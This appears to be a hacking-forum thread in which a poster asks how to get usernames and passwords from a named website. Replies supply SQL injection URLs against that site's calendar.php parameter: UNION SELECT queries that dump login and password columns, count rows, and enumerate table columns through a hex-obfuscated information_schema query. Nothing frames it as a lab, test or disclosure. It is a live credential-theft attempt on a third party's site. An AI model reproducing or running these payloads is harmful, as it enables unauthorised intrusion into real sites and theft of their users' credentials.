password and user in this site
Exploitation does not appear


http://www.trollhaugen.com/calendar.php?id=-79%20UNION%20SELECT%201,2,3,4,group_concat%28login,0x3a,password%29,6,7+from+test_sql.tblogin

What is the solution

Well, there are no rows to display as shown by this:

http://www.trollhaugen.com/calendar.php?id=1%20UNION%20SELECT%201,2,3,4,5,count%28login%29,7%20FROM%20test_sql.tblogin

It seems like a privilege issue because you can fetch the rows from any of the tables in trollhaugen_08, like this:

http://www.trollhaugen.com/calendar.php?id=1%20UNION%20SELECT%201,2,3,4,5,count%28eventtitle%29,7%20FROM%20trollhaugen_08.tbl_calendar

That's about as far as I can help

Hi.. you can try this...

id=-79 UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,(select concat(0x7e,0x27,unhex(Hex(cast(group_concat(column_name) as char))),0x27,0x7e) FROM information_schema.columns Where table_schema=0x746573745F73716C AND table_name=0x74626C6F67696E),0x31303235343830303536,0x31303235343830303536,0x31303235343830303536--


but it hasn't any value in this table...